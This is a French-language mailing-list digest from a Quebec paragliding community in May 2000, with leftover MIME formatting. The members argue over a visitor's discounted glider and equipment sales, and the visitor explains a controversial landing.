href=3D"mailto:AndreGupta@global.t-bird.edu">AndreGupta@global.t-bird.edu=

(514)

739-5710

------=_NextPart_000_0009_01BFCA78.B53997C0--


Date: 30 mai 2000

De: Robert Bernier (16)

Sujet: Rebais aussi sur le brauniger vario (495) and reserve (6)

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01BFCA80.A66C18F0

Type: text/plain;

charset="iso-8859-1"

Content-Transfer-Encoding: 8bit

Michel tu a oublié de mettre l'adresse de ton beau site

http://www.conceptair.com/

Clin d'oeil ! Robert

-----Original Message-----

From: Vol libre au Quebec [mailto:VOL-LIBRE@LISTES.ULAVAL.CA]On Behalf Of

Sonya Guay

Sent: Tuesday, May 30, 2000 8:51 PM

To: VOL-LIBRE@LISTES.ULAVAL.CA

Subject: Re: Rebais aussi sur le Brauniger Vario (495) and Reserve

Ahh!!! tien le business reprend sure la liste!!!???

intéressant! ça veut dire que je peux en faire moi aussi???

Michel Montminy

Concept Air Kitesurf

Sonya Guay

dit la CERISE BIONIQUE

alias la Banane atomique

----- Original Message -----

From: AndreGupta

To: VOL-LIBRE@LISTES.ULAVAL.CA

Sent: Saturday, May 27, 2000 9:43 PM

Subject: Rebais aussi sur le Brauniger Vario (495) and Reserve

>=====

Jòffre aussi le Brauniger Vario pour $495 Can Neuf incluant un bracket

parapente (jambre) et livraison a direction PQ. Jài aussi le Edel SR3

-Skycap Reserve- pour $515 Can. Pour un rebais plus grande sur le

vario ou

reserve il suffit dàcheter un Sabre ou autre aile. Pour rèpeter le

prix pour

le Sabre est $US 1300 ou Can $1975 incluant livraison (shipping) a

addresse PQ

et viens avec un storage affaire en nylon est un rucksack (demo-pas

neuf)

comme courtesie. Pour les pilotes plus experimente jài aussi le ITV

Equinox-neuf-$1975CAN ou 1825Can (demo). Les prix de Promise est de

Can

3100$ meme incluasions. Le X1X Inter est disponible pour $3000. Le

XIX

Form coute $3100 meme affaire. Tous prix sont tout incluse address PQ.

Cordiellement,

Andre Gupta

AndreGupta@global.t-bird.edu

(514) 739-5710

------=_NextPart_000_0002_01BFCA80.A66C18F0

Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

http-equiv=3DContent-Type>

class=3D757174601-31052000>Michel

tu a oublié de mettre l'adresse de ton beau site href=3D"http://www.conceptair.com/">http://www.conceptair.com/=

class=3D757174601-31052000> 

class=3D757174601-31052000>Clin

d'oeil ! Robert

face=3DTahoma

size=3D2>-----Original Message-----From: Vol libre au =

Quebec

[mailto:VOL-LIBRE@LISTES.ULAVAL.CA]On Behalf Of Sonya

GuaySent: Tuesday, May 30, 2000 8:51 PMTo:

VOL-LIBRE@LISTES.ULAVAL.CASubject: Re: Rebais aussi sur le

Brauniger Vario (495) and Reserve

Ahh!!! =

tien le

business reprend sure la liste!!!???

 

size=3D4>intéressant! ça veut

dire que je peux en faire moi aussi???

 

Michel

Montminy

Concept =

Air

Kitesurf

 

Sonya Guaydit la CERISE BIONIQUEalias la Banane =

atomique

style=3D"BORDER-LEFT: #000080 2px solid; MARGIN-LEFT: 5px; =

MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">

----- Original Message -----

style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =

black">From:

title=3DAndreGupta@GLOBAL.T-BIRD.EDU>AndreGupta

To: href=3D"mailto:VOL-LIBRE@LISTES.ULAVAL.CA"

title=3DVOL-LIBRE@LISTES.ULAVAL.CA>VOL-LIBRE@LISTES.ULAVAL.CA =

Sent: Saturday, May 27, 2000 =

9:43

PM

Subject: Rebais aussi sur le =

Brauniger

Vario (495) and Reserve

>=3D=3D=3D=3D=3DJ=F2ffre aussi le =

Brauniger Vario pour $495

Can Neuf incluant un bracketparapente (jambre) et livraison a =

direction

PQ.   Jài aussi le Edel SR3-Skycap Reserve- pour =

$515

Can.   Pour un rebais plus grande sur le vario =

oureserve il

suffit dàcheter un Sabre ou autre aile.   Pour rèpeter =

le prix

pourle Sabre est $US 1300 ou Can $1975 incluant livraison =

(shipping) a

addresse PQet viens avec un storage affaire en nylon est un =

rucksack

(demo-pas neuf)comme courtesie. Pour les pilotes plus =

experimente jài

aussi le ITVEquinox-neuf-$1975CAN ou 1825Can (demo).   =

Les

prix de Promise est de Can3100$ meme incluasions.   Le =

X1X

Inter est disponible pour $3000.    Le XIXForm =

coute

$3100 meme affaire. Tous prix sont tout incluse address

PQ.Cordiellement,Andre Gupta =

href=3D"mailto:AndreGupta@global.t-bird.edu">AndreGupta@global.t-bird.edu=

(514)

739-5710

------=_NextPart_000_0002_01BFCA80.A66C18F0--


Date: 30 mai 2000

De: Susie Audet

Sujet: Au secours !!! chu tanné

Bonjour à tous,

Je vous lit tout les jours depuis plusieurs années et depuis que j`

ai mon nouvel ordinateur , soit environ 7 mois je recoit des messages

correct pour la première partie et bizarres par la suite ,comme celui

qui suit:

Date: Mon, 29 May 2000 08:03:57 -0400

From: Sylvain_Bélanger <ifly@TOTAL.NET>

Subject: Edel sabre...

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01BFC944.70F189E0

Type: text/plain;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

Salut tout le monde!!

Je suis sur le point de succomber a la breve publicité controversée

=

de notre ami André Gupta qui vend a si bon prix des Edel Sabre...

J'ai bien envie de ranger ma vieille Trekking espace pour qque chose =

d'un peu plus moderne sans faire un trop gros trou dans mon

gousset...

Y'en a t'il parmi vous qui ont des commentaires a me faire sur cette =

Aile? J'apprécierais aussi si qqun pouvait me faxer des articles et =

essais concernant cette aile...

Vous pouvez me faxer ca a mon travail en spécifiant clairement : ATTN:

=

SYLVAIN BÉLANGER INFORMATIQUE

No. du fax: 514-593-7028

Je vole parapente depuis 8 ans environ pres de 175 heures de vol =

environ...

Delta depuis 4 ans...

Merci d'avance!!!

Sylvain Bélanger

ifly@total.net

514-769-5340

------=_NextPart_000_000B_01BFC944.70F189E0

Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

http-equiv=3DContent-Type>

Salut tout le monde!!

Je suis sur le point de succomber a la

=

breve

publicité controversée de notre ami André Gupta qui vend a si bon

=

prix des Edel

Sabre...

J'ai bien envie de ranger ma vieille =

Trekking

espace pour qque chose d'un peu plus moderne sans faire un trop =

gros trou

dans mon gousset...

Y'en a t'il parmi vous qui ont des =

commentaires a

me faire sur cette Aile? J'apprécierais aussi si qqun pouvait me faxer

=

des

articles et essais concernant cette aile...

Vous pouvez me faxer ca a mon travail =

en spécifiant

clairement : ATTN: SYLVAIN BÉLANGER INFORMATIQUE

No. du fax: 514-593-7028

Je vole parapente depuis 8 ans environ pres de 175 heures de vol

environ...

Delta depuis 4 ans...

 

Merci d'avance!!!

Sylvain Bélanger

ifly@total.net

514-769-5340

------=_NextPart_000_000B_01BFC944.70F189E0--

Ça fait long et plat à lire . Il faut vous dire que je recoit le ``

digest`` .

Chu tanné , chu tanné.

P.S. comment c` était au mont Yamaska en fin de semaine.

Merci, Carol Boulianne

Saguenay


Date: 30 mai 2000

De: Michel Marceau (2)

Sujet: Le vent a change-ma perspective- (3)

excellent commentaire René, l'approche et l'apprivoisement d'André sera

bonne de cette façon ... je le partage...Michel M.

----- Original Message -----

From: Azur Parapente <azur_rm@CAM.ORG>

To: <VOL-LIBRE@LISTES.ULAVAL.CA>

Sent: Tuesday, May 30, 2000 9:36 AM

Subject: Re: Le vent a change-ma perspective-

> Salut

>

> Bravo pour ton enthousiasme pour voler Andre, ne le perds jamais ! Mais en

> arrivant ici comme le messie des pilotes peu fortunés, toi qui fait un MBA

> en commerce international, tu oublies sur quoi repose une économie locale

et

> un marché de proximité. Alors rétrécies un peu ton champ de vision et

> différentie les secteurs d'activité, tu n'est pas à l'école ici ! Nous ne

> vivons pas de prêts étudiants, de bourses et ce n'est pas un job d'été que

> nous faisons ! Il y a plus ou moins trois cent pilotes au Québec et 6

écoles

> vivent tant bien que mal du vol libre. La survie de ces écoles dépend non

> seulement de la formation des élèves, des tandems mais aussi et surtout de

> la vente de matériel. Ces écoles s'enregistrent aux registre des

> entreprises, payent des taxes, des impos, des frais de publicité pour se

> faire connaître et se faire une clientèle. Toi tu arrives ici et tu

proposes

> des ailes et du matériel au rabais en passant des annonces sur une liste

ou

> nous même ne faisons pas de pub. Cette liste est destiné au pilotes

> uniquement ! De plus tu envoies chier un pilote unanimement reconnu pour

la

> contribution à notre sport au Québec et tu démontres ton expertise en ne

> revenant pas au terrain parce que tu te fais prendre comme un bleu par un

> peu de vent de travers ! Comme début de séjour touristique ça commence mal

> tu ne crois pas ?

>

> Que diraient tes contact, qui doivent être des professionnels qui ne

pensent

> qu'à augmenter leur quota d'ailes, si nous allions vendre notre matériel à

> rabais devant leur porte ? Avec le taux de change avantageux du dollars

> Américain tu ne crois pas que ça tenterait plus d'un pilote peu fortunés d

e

> ton coin ?

>

> Mais au bout du compte, qu'est-ce que ça rapporterait ? Des guerres

> commerciales entre école qui seraient la perte de plusieurs d'entre nous,

> moins de promotion pour le vol libre, moins de pilotes formés, moins de

> sites, moins de visibilité, pas de développement du matériel, pas

> d'homologation, un sport sans éthique pratiqué marginalement et sans

aucune

> considération pour la sécurité, et, un sport cher qui se fermerait pour

les

> pilotes peu fortuné !

>

> Je vole en parapente depuis 1982 Andre, et j'ai vu le développent du

> parapente presque depuis ses début ! Je peux t'assurer que nous sommes

déjà

> passé par là ! Si les prix baissent depuis quelques années ce n'est pas

> grâce à de telles pratiques et en vendant du matériel à bas prix en

marchant

> dans le plat des autres.

>

> Tu es ici comme touriste, alors ne déstabilise pas un marché fragile par

des

> prix au rabais, surtout si tu ne dois en tirer aucun profit ! Profite de

ton

> séjour au Québec, apprends à connaître les gens d'ici ils sont très

> sympathiques tu verras et apprends tout ce que tu peux des pilotes d'ici

qui

> se feront un plaisir d'écouter tes conseils si tu as à leur en donner !

>

> Amicalement

>

> René Marion

> azur_rm@cam.org

> AZUR PARAPENTE INC. http://www.cam.org/~azur_rm/

> SUP'AIR CANADA http://www.chez.com/supaircanada/

> MAC PARATECHNOLOGY CANADA

> 6717 de Normanville, Montréal, (Québec), H2S 2C2, Canada

> Phone/Fax : (514) 279-4730; Cel : (514) 726 4339; Pager : (514) 801-3681

>

> ----- Message d'origine -----

> De : AndreGupta <AndreGupta@GLOBAL.T-BIRD.EDU>

> À : <VOL-LIBRE@LISTES.ULAVAL.CA>

> Envoyé : 30 mai, 2000 00:27

> Objet : Re: Le vent a change-ma perspective-

>

>

> > Cher Bruno:

> >

> > Je veux clarifier quelques malententes:

> >

> > 1) Je ne suis pas me dirige vers le sur toute suite apres mon decollage

> > Samedi Soir. Au deco le vent etait du Ouest-nord-Ouest. Je ne suis

pas

> > aller toute suite vers le sud (la gauche). Du fait je voler vers la

Nord

> West

> > et mon traction allais vers la NNO. Un parapentist d'ici m'avais prevu

> avant

> > de ne pas aller plus Sud que la failaise vers l'arete sudouest. Je

> montait

> > -apres quelques minutes entre 4-8 minutes j'ai decider de voler un

pattern

> de

> > ridge soaring Figure 8 comme il y'avait plus de pilotes qui decoller-est

> il y

> > avait des autres parapentistes a mon sudouest-je trouvais le lift bien

> bonne

> > est je me suis decide que je pourais voler un peu plus avale comme j'ai

> appris

> > le plus fort le vent le plus avale est le meilleur lift band. J'ai

> virager

> > vers le sur comme j'avais deja aller un peu au nord. J'ai seulement

> voler

> > au sur pour vingt seconds est des que l'aterrisage d'ecole etais a ma

> droite

> > (3h) j'ai revirage vers le Nord. Malheureusement meme sur mon speed bar

> > j'avancais pas. En voyant mon altitude avait commencais a descendre

j'ai

> > viragais a gauche et tratant d'aller a NO. Neomoins mon traction etait

> nul

> > (le vent etait vers NNO). Je descendais. En ce moment ci ca aurait

> etait

> > un roulette de tenter arriver a l'atterissage de l'ecole surtout quand

il

> y

> > avait pleines des champs ouverts a mon Sud. J'ai dit au radio a

Francois

> que

> > j'allais atterir dans un des champs au Sud au lieu de l'ecole. Il m'a

> > repondu d'essayer a faire mon best glide (mots statique) . . ecole

mais

> > quelques minutes plus tard des que j'etais deja aterri).. D'ou j'etais

je

> > savais que avec le vent comme il etait j'aurais eu des problemes en y

> > arrivent. J'ai choisi un bien large 100% conscient qu'il aura fallu

> marcher

> > peut-etre 2km a mon auto -mais en savant que c'etait le meilleur

decision.

> > Si j'avais tenter l'attero ecole il y aura eu un bonne chance de ne pas

y

> > arriver et tomber dans les abres. Il faut se souvenir que deux pilotes

a

> mon

> > ouest (quand le vent a changer) ne sont pas meme arriver a l'attero

ecole.

> > En revanche ma decision d'atterir au Sud etait completment correct et

> d'avoir

> > tenter arriver a l'ecole aura pu entraine des consequences graves.

Alors,

> > j'ai virager vers la Ouest est avec le vent mon traction etait SSO vers

le

> > champ ou je voulais atterir. Apres mon atterisage j'ai transmitte a

> > Francois que j'etais down et correcte. Bruno est arrive et j'etais

> content

> > de voir du monde et apres je me suis rendu compte que ils etaient de

> l'ecole

> > je le trover tres sympa qu'ils etait venu me chercher. Je lui ai

> remercier

> > mais on avais des malententes et je veux qu'ils se termine c'est pour ca

> que

> > j'ecrit ce lettre.

> >

> > Cher le Communaute des enthousiastes de vol libre:

> >

> > En ce qui concernes les parapentes je les offre pour les Quebecois parce

> que

> > je sais que ils sont chere et je veux que ce qui ont trouve les

parapentes

> > chere ont des opportunite a voler. Ce n'est pas ma but primaire de

venir

> ici.

> > Je ne solicitais activement pas aucune vent d'un parapente sur aucun

> terrain

> > du jurisdiction de l'ecole Samedi. Du fait tandis que je faisais du

> 'kiting'

> > quelq'une ma approche et m'a identifiais (comme "your the guy who has

the

> > Sabers") avec des questions sur la parapente dont j'ai politment

repondu.

> > Je propone Vol Libre pour ce qui sont pret a consacrer quelquechose mais

> pas

> > necessairment riche. Je serai ici quelques temps a visiter une ami et

je

> > veux que vous pouvez en prendre avantage des contacts et expertise que

> j'ai

> > en import/export--(je fais un MBA en commerce international) a vous

livrer

> les

> > memes produits que degustez avec des rebais grace a telles avantages et

> > contacts. L'offerte des telles parapentes est en reponse a un interet

> > expresse par la communaute de vol libre international comme sur le

> > bigairparagliding.com--voir le thread sur flying forum sur le

> Canada/USA --Une

> > autre expression d'interet viens d'un Quebecois qui a deja commande

> quelques

> > Sabres de moi quand j'etait si loin comme en Arizona. Ce que je fait

est

> 100%

> > correct ma but primaire de ma sejour ici reste comme toujours le

tourisme.

> >

> >

> > Cordiellement,

> >

> >

> > Andre Gupta

> >

>


Front de Libération aérienne du Québec
1